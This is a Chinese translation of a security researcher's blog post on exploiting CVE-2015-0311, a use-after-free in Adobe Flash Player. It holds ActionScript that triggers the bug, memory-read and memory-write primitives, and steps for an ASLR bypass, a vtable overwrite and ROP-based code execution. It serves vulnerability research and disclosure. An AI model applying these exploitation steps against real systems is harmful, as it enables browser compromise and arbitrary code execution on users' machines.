作者:Francisco Falcón
題目:Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player
地址:http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/
一月末,Adobe發布了Flash Player的APSA15-01安全公告,此公告修復了一個可影響FlashPlayer 16.0.0.287及之前版本的重要UAF漏洞(被確認為CVE-2015-0311)。攻擊者通過誘使不知情用戶訪問一個包含有精心構造的惡意SWF Flash文件的網頁,可在具有該漏洞的用戶主機上執行任意代碼。
該漏洞最早是作為一個被積極利用的零day在Angler Exploit Kit中被發現的。盡管利用代碼用SecureSWF混淆工具高度混淆過,利用該漏洞的惡意軟件樣本還是變得公開可用,因此我決定深入底層研究該漏洞,完成漏洞利用并將相關模塊寫到Core Impact Pro和Core Insight中。
當嘗試解壓縮用ActionScript中的zlib壓縮過的ByteArray中的數據時,底層的ActionScript虛擬機(AVM)會在ByteArray::UncompressViaZlibVariant方法中處理該操作。該方法利用ByteArray::Grower類來動態增加存放解壓縮數據的目標緩沖區的大小。
當成功增加了目標緩沖區后,Grower類的析構函數就會通知所有的ByteArray(壓縮過的)的使用者必須使用增加后的緩沖區。全局屬性ApplicationDomain.currentDomain.domainMemory就是ByteArray的一個使用者,該屬性可以被設置為一個給定ByteArray的全局引用。引入ApplicationDomain.currentDomain.domainMemory的目的是通過使用avm2.intrinsics.memory包的底層AVM指令(如li8/si8, li16/si16, li32/si32),實現對ByteArray中的實際數據的快速讀寫操作。
當ByteArray中的數據不是合法的zlib壓縮數據時,zlib庫中的inflate()函數就會失敗,從而引出我們接下來要討論的一個問題。在執行失敗的情況下,ByteArray::UncompressViaZlibVariant() 方法會通過釋放掉增長的緩沖區并重置ByteArray的原始數據來執行回滾操作。
然而問題是,該方法并不通知使用者(ApplicationDomain.currentDomain.domainMemory)增長的緩沖區已經被釋放掉,因此ApplicationDomain.currentDomain.domainMemory會繼續保有一個指向已釋放緩沖區的懸垂引用。
讓我們到AVM虛擬機的源碼中看下,在AS代碼中調用ByteArray對象的uncompress()方法時到底會發生什么。
當嘗試解壓縮ByteArray的數據時,AVM提供的ByteArray::Uncompress()方法(在core/ByteArrayGlue.cpp中定義)會根據數據的壓縮算法調用一個相應的解壓縮函數。我們接下來重點看下zlib壓縮的情況。
#!c++
void ByteArray::Uncompress(CompressionAlgorithm algorithm)
{
switch (algorithm) {
case k_lzma:
UncompressViaLzma();
break;
case k_zlib:
default:
UncompressViaZlibVariant(algorithm);
break;
}
ByteArray::UncompressViaZlibVariant()通過在循環中調用zlib庫中的inflate()函數,來分塊解壓縮ByteArray中的數據,如下面的代碼片段所示:
#!c++
void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm)
{
[...]
while (error == Z_OK)
{
stream.next_out = scratch;
stream.avail_out = kScratchSize;
error = inflate(&stream, Z_NO_FLUSH);
Write(scratch, kScratchSize - stream.avail_out);
}
inflateEnd(&stream);
[...]
調用完zlib庫的inflate()函數后,ByteArray的Write()方法就將解壓縮后的塊數據寫入目的緩沖區中:
#!c++
void ByteArray::Write(const void* buffer, uint32_t count)
{
if (count > UINT32_T_MAX - m_position) // Do not rearrange, guards against 64-bit overflow
ThrowMemoryError();
uint32_t writeEnd = m_position + count;
Grower grower(this, writeEnd);
grower.EnsureWritableCapacity();
move_or_copy(m_buffer->array + m_position, buffer, count);
m_position += count;
if (m_buffer->length < m_position)
m_buffer->length = m_position;
}
如上所示,該方法創建了Grower類的一個實例,然后通過調用實例的EnsureWritableCapacity()方法增加目標緩沖區的大小。Grower實例的范圍僅限ByteArray::Write()方法中局部調用,因此當Write()方法執行完后,Grower類的析構函數就會默認被立刻調用。
下面是Grower類析構函數的部分代碼。它調用了ByteArray類的NotifySubscribers()方法:
#!c++
ByteArray::Grower::~Grower()
{
if (m_oldArray != m_owner->m_buffer->array || m_oldLength != m_owner->m_buffer->length)
{
m_owner->NotifySubscribers();
}
[...]
ByteArray::NotifySubscribers()遍歷ByteArray的所有使用者,并調用使用者對象的notifyGlobalMemoryChanged()方法來通知它們新增加的緩沖區地址和大小的改變:
#!c++
voidByteArray::NotifySubscribers()
{
for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i)
{
AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);
DomainEnv* subscriber = m_subscribers.get(i);
if (subscriber)
{
subscriber->notifyGlobalMemoryChanged(m_buffer->array, m_buffer->length);
}
else
{
// Domain went away? remove link
m_subscribers.removeAt(i);
--i;
}
}
}
最后,DomainEnv::notifyGlobalMemoryChanged()方法會更新全局內存緩沖區的地址和大小。該方法真正改變ApplicationDomain.currentDomain.domainMemory的地址和大小:
#!c++
// memory changed so go through and update all reference to both the base
// and the size of the global memory
voidDomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize)
{
AvmAssert(newBase != NULL); // real base address
AvmAssert(newSize>= GLOBAL_MEMORY_MIN_SIZE); // big enough
m_globalMemoryBase = newBase;
m_globalMemorySize = (newSize> 0x7fffffff) ?0x7fffffff :newSize;
TELEMETRY_UINT32(toplevel()->core()->getTelemetry(), ".mem.bytearray.alchemy",m_globalMemorySize/1024);
}
在所有這些調用鏈完成后,回到ByteArray::UncompressViaZlibVariant()方法的 ”inflate()和Write()”的循環中。如果循環中某個inflate()調用返回一個非0值,循環就會退出,同時會運行一個檢查來判斷數據有沒有被完全解壓縮。如果某處出錯,就會執行一個回滾操作:調用TellGcDeleteBufferMemory() / mmfx_delete_array() 來釋放掉新的內存,同時重置回原始ByteArray數據,如下所示:
#!c++
[...]
if (error == Z_STREAM_END)
{
// everything is cool
[...]
else
{
// When we error:
// 1) free the new buffer
TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
mmfx_delete_array(m_buffer->array);
if (cShared) {
m_buffer = origBuffer;
}
// 2) put the original data back.
m_buffer->array = origData;
m_buffer->length = origLen;
m_buffer->capacity = origCap;
m_position = origPos;
SetCopyOnWriteOwner(origCopyOnWriteOwner);
origBuffer = NULL; // release ref before throwing
toplevel()->throwIOError(kCompressedDataError);
}
但是請注意:這里并沒有任何操作通知使用者新的緩沖區已經被釋放!因此,即使由于解壓縮操作失敗而導致新緩沖區被釋放,ApplicationDomain.currentDomain.domainMemory 還是會保留新緩沖區的一個引用。我們稍后會間接引用該懸垂指針,因此這是一個use-after-free(UAF)漏洞。
可以通過以下步驟來重現產生懸垂指針的情況:先向ByteArray添加數據,再用zlib壓縮,然后在0x200偏移位置用垃圾數據覆蓋掉原來的壓縮數據,然后將此ByteArray指派給ApplicationDomain.currentDomain.domainMemory以創建ByteArray的使用者,最后調用ByteArray的uncompress()方法。
為什么要從從0x200位置開始覆蓋壓縮數據呢?這是因為在ByteArray的開始位置保留一些合法的壓縮數據可以保證第一次對inflate()的調用成功;而且這樣ByteArray::Write()方法也會正常創建Grower類的實例,該實例會為保存解壓縮的數據增加目標緩沖區的長度,并通知所有的使用者可以使用新增長的緩沖區了。
循環中,第二次調用“inflate()和Write()”時,inflate()函數會嘗試解壓縮我們構造的垃圾數據,因此一定會失敗。然后ByteArray::UncompressViaZlibVariant()就會執行回滾操作,釋放掉新增加的緩沖區,但同時卻不會通知ByteArray的所有使用者,所以就產生了懸垂指針。
下面的ActionScript代碼片段可以重現該漏洞,使ApplicationDomain.currentDomain.domainMemory引用已釋放緩沖區:
#!c++
this.byte_array = new ByteArray();
this.byte_array.endian = Endian.LITTLE_ENDIAN;
this.byte_array.position = 0;
/* Initialize the ByteArray with some data */
while (count < 0x2000 / 4){
this.byte_array.writeUnsignedInt(0xfeedface + count);
count++;
}
/* Compress it with zlib */
this.byte_array.compress();
/* Overwrite the compressed data with junk, starting at offset 0x200 */
this.byte_array.position = 0x200;
while (pos < byte_array.length){
this.byte_array.writeByte(pos);
pos++;
}
/* Create a subscriber for that ByteArray */
ApplicationDomain.currentDomain.domainMemory = this.byte_array;
/* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory
pointing to a buffer that is freed when the decompression fails. */
try{
this.byte_array.uncompress();
} catch(error:Error){
}
因此,就從這一點來說,我們已經令ApplicationDomain.currentDomain.domainMemory引用了已釋放的內存,而ApplicationDomain.currentDomain.domainMemory的引用也是ByteArray類型的。我們嘗試使用它的一些高層方法時,雖然好像是在操作一個合法的ByteArray,但實際上其操作的數據是錯誤的壓縮數據。
我們回過頭來再來看一下AVM虛擬機的源代碼,并回想一下DomainEnv::notifyGlobalMemoryChanged()方法是如何更新全局內存緩沖區的地址和大小的:
#!c++
m_globalMemoryBase = newBase;
m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize;
m_globalMemoryBase(懸垂指針自身)和m_globalMemorySize都是DomainEnv類(core/DomainEnv.h)的成員。這些成員通過Getter方法來訪問:
#!c++
REALLY_INLINE uint8_t* globalMemoryBase() const { return m_globalMemoryBase; }
REALLY_INLINE uint32_t globalMemorySize() const { return m_globalMemorySize; }
到AVM的源代碼中搜索下這兩個Getter方法,我們可以在core/Interpreter.cpp文件中找到:
#!c++
#define MOPS_LOAD_INT(addr, type, call, result) \
MOPS_RANGE_CHECK(addr, type) \
union { const uint8_t* p8; const type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
result = *p;
#define MOPS_STORE_INT(addr, type, call, value) \
MOPS_RANGE_CHECK(addr, type) \
union { uint8_t* p8; type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
*p = (type)(value);
這兩個宏也在同一個core/Interpreter.cpp文件中被使用:
#!c++
INSTR(li32) {
i1 = AvmCore::integer(sp[0]); // i1 = addr
MOPS_LOAD_INT(i1, int32_t, li32, i32l); // i32l = result
sp[0] = core->intToAtom(i32l);
NEXT;
}
[...]
INSTR(si32) {
i32l = AvmCore::integer(sp[-1]);// i32l = value
i1 = AvmCore::integer(sp[0]); // i1 = addr
MOPS_STORE_INT(i1, uint32_t, si32, i32l);
sp -= 2;
NEXT;
}
就是這樣!為了間接引用懸垂指針,我們需要使用avm2.intrinsics.memory包中的底層AVM指令,如 li8/si8, li16/si16, li32/si32等。這些指令,通過與ApplicationDomain.currentDomain.domainMemory的配合,能夠提供對包含有ByteArray實際數據的底層原始緩沖區的快速讀寫操作,而跳過使用ByteArray類高層方法的開銷。
li8/si8, li16/si16, li32/si32等指令隱式操作ApplicationDomain.currentDomain.domainMemory,如下面的ActionScript代碼片段所示:
#!c++
/* Read a 32-bit integer from m_globalMemoryBase + 0x20 */
var some_value:uint = li32(0x20);
/* Overwrite the 32-bit integer at m_globalMemoryBase + 0x20 with 0xffffffff */
si32(0xffffffff, 0x20);
為了達成對該漏洞的利用,在Web瀏覽器里調試含有該漏洞的Adobe Flash Player版本時,將需要在“inflate() and Write()”循環開始處設置斷點:
第一次斷點被命中后,通過跟蹤ByteArray::Write()的調用直到DomainEnv::notifyGlobalMemoryChanged()方法,可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的。如下是Flash OCX二進制文件中的notifyGlobalMemoryChanged()方法:
[EDX+0x14]保存了新緩沖區的地址,[EDX+0x18]則保存了新緩沖區的大小。
在我的測試環境中,ApplicationDomain.currentDomain.domainMemory更新為下圖所示的值:緩沖區地址為0x0a98c000,緩沖區大小為0x1c32。
第二次調用inflate()將會觸發失敗,失敗代碼為0xfffffffb,因此執行流進入回滾程序(命名為cleanup_on_uncompress_error的):
步入該函數中,我們可以看到它是通過調用TellGcDeleteBufferMemory()來釋放緩沖區的:
注意到TellGcDeleteBufferMemory()的參數是0x0a98c000 (緩沖區地址) 和0x200f。此處0x200f是緩沖區的容量,是與緩沖區長度不同的(長度是0x1C32,如上面的截屏所示)。從core/ByteArrayGlue.h文件中可以看到:
#!c++
class Buffer : public FixedHeapRCObject
{
public:
virtual void destroy();
virtual ~Buffer();
uint8_t* array;
uint32_t capacity;
uint32_t length;
};
Buffer.capacity是緩沖區可容納的最大字節數(本例中為0x200f),而Buffer.length是實際使用的字節數(本例中為0x1C32),其不同之處就在于此。
調用完TellGcDeleteBufferMemory()之后,它立即調用了mmfx_delete_array()來完成緩沖區的釋放操作。
既然緩沖區已經釋放掉了,我們將在此緩沖區留下的內存“空洞”中分配一個有趣的對象。我使用了跟惡意樣本中一樣的方法來完成的,就是,創建一個新的占位ByteArray,其大小設為0x2000,然后通過調用其clear()方法釋放掉該對象,最后再創建一個Vector.<Object>
(510*3)對象。
這意味著,在這一點上,我們已經令ApplicationDomain.currentDomain.domainMemory(應該指向包含ByteArray真實數據的原始緩沖區)指向了一個Vector對象的起始處!因為我們可以通過利用像li32/si32這樣的AVM指令在ApplicationDomain.currentDomain.domainMemory指向的內存中執行讀寫操作,我們就可以根據需要來讀和修改Vector對象,包括它的元數據!
下圖展示了觸發bug后的期待狀態與實際狀態的不同,以及在緩沖區釋放造成的內存空洞中的Vector對象的分配情況:
Vector對象的內存布局如下:
$ ==> <Vector> 00010C00
$+4 00001FE0
$+8 08238000
$+C 082FA248
$+10 0793C000
$+14 09B8E018 <pointer to
the_vector + 0x18 - useful if you need to obtain the address of the_vector>
$+18 00000010
$+1C 00000000
$+20 .vtable 61199418 OFFSET <Flash32_.Vector_vtable> -> Overwrite it to hijack the execution flow
$+24 .length 000005FA -> Overwrite it with 0xffffffff so you can read/write from/to any memory address
$+28 .elements[] 07A86BA1 the_vector[0]
$+2C 07A86BA1 the_vector[1]
$+30 07A86BA1 the_vector[2]
... xxxxxxxx the_vector[n]
通過執行li32(0x20) 我們可以讀取到Vector對象0x20偏移處的dword數據,這里是其虛函數表(vtable);而能讀到虛函數表的地址就足以確定Flash模塊的基地址,因此也就可以繞過ASLR。
通過執行si32(0xffffffff,0x24),我們可以覆蓋掉保存在Vector對象0x24偏移處的dword數據,該數據是對象的長度。設置這樣新的長度(0xffffffff)將允許我們在需要時讀/寫瀏覽器進程空間中任意內存地址的數據---|||---|||其實在Windows 7 SP1下完成漏洞利用并不需要修改Vector的長度。
然后我們以ByteArray的形式構造ROP鏈,并將其保存為Vector的第一個element(不覆蓋任何元數據)。
這個包含了我們構造的ROP鏈的ByteArray對象被存儲為一個tagged pointer,那什么是tagged pointer呢?為增加指針所能存儲的信息,Flash用指針的最后三個沒有什么意義的bit來表示其自身的類型信息(摘自Haifei Li’s presentation from CanSecWest 2011),這種修改后的指針就是tagged pointer:
Untagged = 000 (0)
Object = 001 (1)
String = 010 (2)
Namespace = 011 (3)
"undefined" = 100 (4)
Boolean = 101 (5)
Integer = 110 (6)
Number = 111 (7)
現在可以通過執行li32(0x28)來泄露出我們構造的ROP鏈(ByteArray對象)的地址---|||也就是執行一個原始的讀操作,來讀取Vector的第一個element,然后將讀取到的tagged pointer再通過“address & 0xfffffff8”這樣的按位與操作untag掉。
已經得到泄露出的ROP鏈(ByteArray對象)的指針后,我們接下來再去讀取ByteArray對象0x40偏移處存放的DWORD數據,此處的DWORD是指向一個ByteArray::Buffer對象的指針。下面是所引用ByteArray對象的內存布局:
$ ==> <ByteArray> 71078F10 OFFSET <Flash32_.ByteArray_vtable>
$+4 00000002
$+8 069CFDD0
$+C 0697E628
$+10 06831360
$+14 00000040
$+18 71078EB8 Flash32_.71078EB8
$+1C 71078EC0 Flash32_.71078EC0
$+20 71078EB4 Flash32_.71078EB4
$+24 710BD534 Flash32_.710BD534
$+28 06603080
$+2C 06432000
$+30 0688EFB8
$+34 00000000
$+38 00000000
$+3C 7108ACC8 Flash32_.7108ACC8
$+40 0686D5D8 <pointer to ByteArray::Buffer>
$+44 00000000
為讀到存儲在ByteArray對象0x40偏移處的dword,我決定使用Vupen的Nocolas Joly提出的一種利用技術,該技術通過修改(tagging)一個指針以使其按照Number(IEEE-754 double precision)類型來解析,從而產生一個類型混亂,該類型混亂會為我們提供一個默認基本數據類型,通過它可以讀取任意地址的8字節數據。大概過程如下:
首先我們把我們將想要讀取數據的地址修改為一個Number對象指針(將地址按位或上7--見上面的類型對應表),這樣我們就成功地創建了一個類型混亂;然后我們通過執行si32(fake_number_object,0x2c)指令,將此指向Number對象的偽造指針存放到Vector的element[]數組中。
之后,我們讀取偽造的Number對象(下方代碼中的this.the_vector1)的值,并將其寫入到一個備用ByteArray中;通過這種方法,我們想要讀取的地址中的8個字節的數據就被存放到備用ByteArray中了。
#!c++
obj = this.the_vector[1];
z = new Number(obj);
var b:ByteArray = new ByteArray();
b.endian = Endian.LITTLE_ENDIAN;
b.writeDouble(z);
/* If pointer is aligned to 8, then we read the first dword */
if ((pointer & 7) == 0){
result = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0];
}
/* else we read the second dword */
else{
result = b[7]*0x1000000 + b[6]*0x10000 + b[5]*0x100 + b[4];
}
return result;
我們使用Number基本類型已經能夠讀取ByteArray對象0x40偏移處的dword數據,我之前提到過,該dword是指向ByteArray::Buffer的指針,然后我們可以再次使用該基本類型來讀取到ByteArray::Buffer對象0x8偏移處的dword值,該dword值正是指向我們ROP鏈原始數據的指針。如下是ByteArray::Buffer對象的內存布局情況:
$==> <Buffer> 63D1945C OFFSET <Flash32_.Buffer_vtable>
$+4 00000003
$+8 .array 06BC5000 <pointer to the raw data of the ByteArray>
$+C .capacity 0000200F
$+10 .length 00001C32
這樣我們就獲取到了ROP鏈的地址(該例子中為0x06BC5000);現在我們只需執行si32(address_of_rop_chain, 0x20)指令,將Vector對象的虛函數表覆蓋為我們的ROP鏈,然后再調用Vector對象的toString()方法,此時被覆蓋掉的虛函數表就會被間接引用以調用相應函數指針,而我們也就將執行流程劫持到了我們自己的ROP中,并最終完成任意代碼執行:
new Number(this.the_vector.toString());
本文中的UAF漏洞可以被用來讀取及修改瀏覽器進程空間中的任意地址數據,允許攻擊者繞過操作系統的保護策略如ASLR和DEP,并最終導致任意代碼執行。
然而,你應該注意到本篇博文中描述的利用方法只適用于Windows 7 SP1,不適用于Windows 8.1 Update 3(發布于2014年11月)。為什么呢?在Windows 8 Update 3中,微軟引入了一種新的緩解漏洞攻擊利用的CFG(Control Flow Guard)機制。CFG在所有非直接調用前都插入了一次檢查,以驗證調用的目的地址是否是編譯時被標記為“安全”的位置。運行時插入的驗證失敗,程序就檢測到了破壞正常執行流的嘗試并立即自動退出。
而Windows 8.1 Update 3中集成的Flash版本在編譯時已啟動了CFG機制,因此在攻擊利用的最后步驟中,也就是我們嘗試將Vector對象的虛函數表覆蓋,并調用toString()方法以修改執行流程時,CFG檢查函數就會檢測到我們的偽造虛函數表,并立即結束進程,從而阻止了我們的攻擊嘗試。
這意味著Windows 8.1 Update 3中的Flash漏洞利用引入了新的障礙:CFG保護的繞過。
劇透提醒:我們還是設法繞過了CFG,并在Windows 8.1 Update 3中成功實現了該Flash漏洞的利用。因此請期待下一篇博文,我們將在其中詳細解釋是如何做到繞過CFG并實現漏洞利用的!